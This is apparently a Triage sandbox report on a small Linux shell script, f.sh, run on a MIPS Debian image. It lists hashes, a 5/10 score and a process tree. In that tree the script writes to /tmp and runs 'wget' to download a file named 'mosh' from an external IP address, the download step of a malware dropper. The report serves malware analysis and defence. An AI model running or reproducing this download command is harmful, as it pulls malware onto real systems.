664fd170b1d07e372b3daa91aab78a8151d3f0b0361a2b3157b405314dd219a2 | Triage

Resubmissions

20-04-2023 08:22

230420-j9jsfaae7s 10

27-03-2023 09:38

230327-lmbvescg32 10

Analysis

max time kernel
139s
max time network
165s
platform
linux_mips
resource
debian9-mipsbe-en-20211208
resource tags

arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20-04-2023 08:22

Sharing

Report Analysis Logs

General

Target

f.sh
Size

518B
MD5

cac62e5664152a357145747ba5dbe0a2
SHA1

8402c68d0b57b04eb19f52c18fc57edbe716f0da
SHA256

919bce738726efdfd08aa43552e095851c52c7452ef4c6c03d2b4c08cbceda76
SHA512

6e19b9dbf0e3cff0397c6cdf1774bdd08070b509be2520c32a3148daa0211cf74a728f2e163199e789d5bbead4f9cd246853483e65526ddef1b14a62bdb6d52f

Score

5^/10

Malware Config

Signatures

Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

f.sh

description ioc process

/tmp/f.sh /tmp/f.sh f.sh

/tmp/f.sh
/tmp/f.sh
1⤵
- Writes file to tmp directory
PID:324

/usr/bin/wget
wget http://93.174.93.45/mosh
2⤵
PID:325

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads